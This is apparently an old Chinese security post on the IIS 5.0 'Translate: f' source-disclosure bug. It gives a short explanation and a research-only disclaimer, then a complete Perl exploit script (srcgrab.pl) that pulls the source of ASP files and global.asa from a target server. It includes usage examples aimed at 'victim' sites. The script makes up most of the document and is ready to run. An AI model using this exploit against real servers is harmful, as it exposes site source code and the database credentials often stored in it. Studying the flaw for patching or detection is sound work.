iis5的asp泄露

iis|iis iis5的asp泄露

當 IIS 5.0 接收到一個特殊格式的頭 (Translate: f) 的 HTTP 要求，同時 UR
L 末尾包含一個特殊字元時，IIS 會使用錯誤的處理方法導致檔案原始碼泄漏。


以下代碼僅僅用來測試和研究這個漏洞，如果您將其用於不正當的途徑請後果自
負

#!/usr/bin/perl
# Expl0it By smiler@vxd.org
# Tested with sucess against IIS 5.0. Maybe it works against IIS 4.0 u
sing a shared drive but I haven磘 tested it yet.
# Get the source code of any script from the server using this exploit
.
# This code was written after Daniel Docekal brought this issue in Bug
Traq.
# Cheers 351 and FractalG :)

if (not $ARGV[0]) {
print qq~
Geee it磗 running !! kewl :)))
Usage : srcgrab.pl Example Usage : srcgrab.pl http://www.victimsite.co
m/global.asa
U can also save the retrieved file using : srcgrab.pl http://www.victi
m.com/default.asp > file_to_save
~; exit;}



$victimurl=$ARGV[0];

# Create a user agent object
use LWP::UserAgent;
$ua = new LWP::UserAgent;

# Create a request
my $req = new HTTP::Request GET => $victimurl . '\\'; # Here is the ba
ckslash at the end of the url ;)
$req->content_type('application/x-www-form-urlencoded');
$req->content_type('text/html');
$req->header(Translate => 'f'); # Here is the famous translate header
:))
$req->content('match=www&errors=0');

# Pass request to the user agent and get a response back
my $res = $ua->request($req);

# Check the outcome of the response
if ($res->is_success) {
print $res->content;
} else {
print $res->error_as_HTML;
}